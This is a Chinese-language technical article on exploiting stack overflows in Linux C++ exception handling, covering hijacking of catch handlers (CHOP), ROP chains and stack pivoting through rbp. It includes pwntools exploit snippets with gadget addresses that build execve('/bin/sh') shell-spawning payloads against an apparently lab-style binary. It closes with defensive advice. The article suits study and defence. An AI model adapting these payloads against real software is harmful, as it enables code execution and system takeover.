溢出漏洞在异常处理中的攻击手法-下
字数 1320 2025-08-20 18:17:59
Linux下C++异常处理溢出漏洞攻击手法研究
1. 基础知识
1.1 异常处理机制
本文针对Linux下C++基于eh_frame进行unwind的异常处理流程的攻击手法进行研究。异常处理流程在不同操作系统和语言上有差异,需具体问题具体对待。
1.2 关键编译参数
-fomit-frame-pointer:省略不需要帧指针的函数的帧指针,节省寄存器空间-no-pie:禁用位置无关可执行文件-static:静态链接-fomit-frame-pointer的影响:使程序不依赖rbp存储栈帧,仅通过rsp调整栈位置
1.3 Canary特性
Canary及__stack_chk_fail()并非在所有栈帧中都包含,只放置在可能出现栈溢出的地方。
2. 从CHOP到ROP攻击
2.1 基本攻击思路
通过覆盖返回地址来控制不同的catch handler调用,从而控制程序流。
2.2 攻击步骤
- 劫持程序流到backdoor函数的catch块
- 观察返回地址(如
__libc_start_call_main) - 利用Canary特性继续溢出,劫持catch handler的返回地址
2.3 关键条件
- 溢出点地址必须比catch handler的栈地址低
- 异常处理流程中的栈展开(栈回退)保证了这一点
2.4 实际测试
- 构造payload覆盖handler的返回地址
- 劫持返回地址为backdoor()
- 进一步构造ROP链调用
sys_execve("/bin/sh",0,0)
2.5 示例exp关键点
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
io = process('./pwn')
# 定义gadget地址
pop_rdi = 0x000000000040291c
pop_rsi = 0x0000000000404009
pop_rdx_rbx = 0x000000000049775b
pop_rax = 0x0000000000462f37
syscall = 0x000000000040fac9
read_addr = 0x4624D0
binsh = 0x4d7000
# 构造payload
payload = b'a' * 0x28
payload += p64(backdoor_try + 1)
payload += b'b' * 0x18
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi)
payload += p64(binsh)
payload += p64(pop_rdx_rbx)
payload += p64(0x8)
payload += p64(0)
payload += p64(read_addr)
# ... 更多ROP链构造
3. CHOP与栈转移攻击
3.1 攻击场景
当程序使用rbp作为栈帧寄存器时(不使用-fomit-frame-pointer参数)
3.2 基本思路
- 通过覆盖rbp进行栈转移
- 在bss段伪造栈底
- 构造二次溢出实现ROP
3.3 详细攻击步骤
-
第一次溢出:
- 用name变量在bss段伪造栈底
- 覆盖rbp为name变量地址
- 设置返回地址为test函数地址
-
第二次溢出:
- 在bss上留下
/bin/sh字符串 - 在read的返回地址处构造ROP链
- 利用栈转移控制程序流
- 在bss上留下
3.4 关键技巧
- 控制rbp使rbp和rsp空隙足够小
- 跳过test函数最初的栈帧控制区域
- 利用
call read时返回地址会被push到栈的特性
3.5 示例exp关键点
name_addr = 0x4D93D0
test_addr = 0x401a9d
# 第一次payload构造栈转移
payload = p64(name_addr) + p64(test_addr)
# 第二次payload构造ROP
payload = b'/bin/sh\x00'
payload += p64(0) * 6
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rdx_rbx)
payload += p64(0)
payload += p64(0)
payload += p64(pop_rax)
payload += p64(0x3b)
payload += p64(syscall)
4. 总结与关键点
4.1 主要攻击手法
-
混淆unwinder:
- 使异常被其他函数的catch handler捕获
- 利用libc/c++内原有的Golden Gadget实现任意函数调用
-
不使用rbp的情况:
- 直接在合适的catch handler中进行ROP
-
使用rbp的情况:
- 配合栈转移效果,在bss等区域做ROP
4.2 理论可行方案
- 利用clean up中的析构函数构造UAF
- 利用clean up和
_Unwind_Resume()构造执行链(类似ROP思想)
4.3 防御建议
- 避免使用
-fomit-frame-pointer参数 - 在所有异常处理中添加栈保护
- 对全局变量和堆操作进行严格边界检查
- 使用现代编译器的安全特性(如CFI)